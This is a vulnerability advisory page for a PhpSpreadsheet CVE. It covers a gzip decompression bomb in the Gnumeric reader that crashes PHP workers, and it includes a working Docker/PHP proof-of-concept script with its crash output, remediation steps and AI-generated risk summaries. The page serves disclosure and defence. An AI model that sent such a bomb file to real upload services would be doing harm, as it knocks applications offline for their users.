PhpSpreadsheet CVE-2026-59932
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Remote, unauthenticated, no-interaction file upload triggers unbounded decompression with availability-only impact, so AV:N/AC:L/PR:N/UI:N and C:N/I:N/A:H.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.
This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.
Vulnerability details
Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:
src/PhpSpreadsheet/Reader/Gnumeric.php:80-90calls$this->gzfileGetContents($filename)fromcanRead().src/PhpSpreadsheet/Reader/Gnumeric.php:105-115callscanRead()and then reads the expanded contents again for worksheet-name listing.src/PhpSpreadsheet/Reader/Gnumeric.php:253-265callscanRead()and then reads the expanded contents again for full loading.
The vulnerable expansion is in gzfileGetContents():
src/PhpSpreadsheet/Reader/Gnumeric.php:187-190reads the entire input file into$contentswithfile_get_contents().src/PhpSpreadsheet/Reader/Gnumeric.php:192-197detects gzip magic bytes and callsgzdecode($contents)without a decompressed-size cap.src/PhpSpreadsheet/Reader/Gnumeric.php:204-205scans the expanded data only after decompression has already completed.
Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.
Impact
A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.
In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory_limit=64M at Reader/Gnumeric.php:195.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">";
$suffix = "</gnm:Workbook>";
$payload = $prefix . str_repeat("A", 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents("/tmp/bomb.gnumeric", $gz);
printf("compressed_size=%d expanded_size=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
var_dump($r->canRead("/tmp/bomb.gnumeric"));
' 2>&1 || true
SHObserved output:
compressed_size=97811 expanded_size=100663390
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP 4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195Suggested remediation
- Do not decompress gzip data with unbounded
gzdecode()for untrusted.gnumericfiles. - Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
- Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
- Ensure
canRead(),listWorksheetNames(),listWorksheetInfo(), andload()share bounded decompression logic and avoid decompressing the same file repeatedly. - Fail closed with a recoverable
Reader\Exceptionwhen limits are exceeded, rather than allowing a PHP fatal memory error.
Articles & Coverage 2
AnalysisAI
Denial-of-service in PhpSpreadsheet's Gnumeric reader lets remote attackers crash PHP worker processes by uploading a tiny gzip-compressed .gnumeric file that decompresses to hundreds of megabytes. The reader's Gnumeric::canRead() calls gzdecode() with no decompressed-size cap during routine file-type detection, so a ~98 KB payload expanding to ~96 MiB exhausts a 64M memory limit and triggers a fatal error before validation. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target application feed an attacker-controlled file into PhpSpreadsheet's Gnumeric reader - either directly via the Gnumeric loader or through automatic file-type detection that calls Gnumeric::canRead()/IOFactory auto-detection - and that the file begin with gzip magic bytes so the vulnerable gzdecode() path is taken. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High) is internally consistent with the description: a network-reachable, unauthenticated, low-complexity attack with no user interaction that impacts only availability (no confidentiality or integrity loss). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker uploads a ~98 KB .gnumeric file to a web app, queue worker, document converter, or file-preview service that uses PhpSpreadsheet to detect or import spreadsheets. During Gnumeric::canRead() the gzip payload inflates to ~96 MiB, exceeding the PHP memory_limit and killing the worker with a fatal error; repeating the upload sustains a denial of service. … |
| Remediation | Upgrade to a patched release for your branch: Vendor-released patch versions are 5.8.1, 3.10.7, 2.4.7, 2.1.18 (and 1.30.6), delivered via commit 85f2556b0bf5269061bf45932ecda8a128d81750. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all deployed instances of PhpSpreadsheet to identify affected versions and determine whether Gnumeric file parsing is enabled; disable the Gnumeric reader if not required for business operations. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-2mrg-gjxq-2gvr